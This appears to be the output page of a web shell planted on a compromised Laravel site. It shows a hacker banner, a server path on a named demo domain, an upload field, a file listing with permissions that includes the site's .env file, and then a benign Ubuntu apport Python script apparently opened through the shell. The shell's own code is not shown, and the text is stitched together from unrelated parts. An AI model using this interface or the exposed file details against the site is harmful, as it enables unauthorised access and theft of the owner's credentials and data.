I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
.editorconfig276 KBMarch 05 2024 07:12:340666
.env1385 KBMay 24 2024 16:43:550666
.env.example1088 KBMarch 05 2024 07:12:340666
.gitattributes190 KBMarch 05 2024 07:12:340666
.gitignore245 KBMarch 05 2024 07:12:340666
.htaccess947 KBJuly 04 2023 21:25:080664
.rnd1024 KBMarch 13 2024 04:51:140666
README.md472 KBMarch 22 2024 10:35:000666
app-March 05 2024 07:12:340777
artisan1739 KBMarch 05 2024 07:12:340666
bootstrap-March 05 2024 07:12:340777
composer.json2829 KBMay 13 2024 12:10:040666
composer.lock417205 KBMarch 19 2024 12:13:140666
config-July 03 2025 02:53:360777
database-March 05 2024 07:12:340777
index.php1816 KBMay 13 2024 10:32:360666
lang-May 13 2024 14:53:260777
manifest.json913 KBMay 14 2024 03:57:260664
package.json398 KBMarch 05 2024 07:12:340666
phpunit.xml1206 KBMarch 05 2024 07:12:340666
public-July 03 2025 02:37:200777
resources-May 13 2024 12:09:360777
routes-March 05 2024 07:12:340777
service-worker.js924 KBMarch 05 2024 07:12:340666
storage-March 05 2024 10:03:520777
symlink.php218 KBMarch 05 2024 07:12:340666
tests-March 05 2024 07:12:340777
vendor-March 19 2024 12:13:140777
vite.config.js326 KBMarch 05 2024 07:12:340666
#!/usr/bin/python3 # Extract the fields of a problem report into separate files into a new or # empty directory. # # Copyright (c) 2006 Canonical Ltd. # Author: Martin Pitt # # This program is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by the # Free Software Foundation; either version 2 of the License, or (at your # option) any later version. See http://www.gnu.org/copyleft/gpl.html for # the full text of the license. import sys, os, os.path, gettext, gzip from apport import unicode_gettext as _, fatal import problem_report def help(): print(_('Usage: %s ') % sys.argv[0]) gettext.textdomain('apport') if len(sys.argv) >= 2 and sys.argv[1] == '--help': help() sys.exit(0) if len(sys.argv) != 3: help() sys.exit(1) report = sys.argv[1] dir = sys.argv[2] # ensure that the directory does not yet exist or is empty try: if os.path.isdir(dir): if os.listdir(dir): fatal(_('Destination directory exists and is not empty.')) else: os.mkdir(dir) except OSError as e: fatal(str(e)) bin_keys = [] pr = problem_report.ProblemReport() if report == '-': pr.load(sys.stdin, binary=False) else: try: if report.endswith('.gz'): with gzip.open(report, 'rb') as f: pr.load(f, binary=False) else: with open(report, 'rb') as f: pr.load(f, binary=False) except IOError as e: fatal(str(e)) for k in pr: if pr[k] is None: bin_keys.append(k) continue with open(os.path.join(dir, k), 'wb') as f: if type(pr[k]) == str: f.write(pr[k].encode('UTF-8')) else: f.write(pr[k]) try: if report.endswith('.gz'): with gzip.open(report, 'rb') as f: pr.extract_keys(f, bin_keys, dir) else: with open(report, 'rb') as f: pr.extract_keys(f, bin_keys, dir) except IOError as e: fatal(str(e))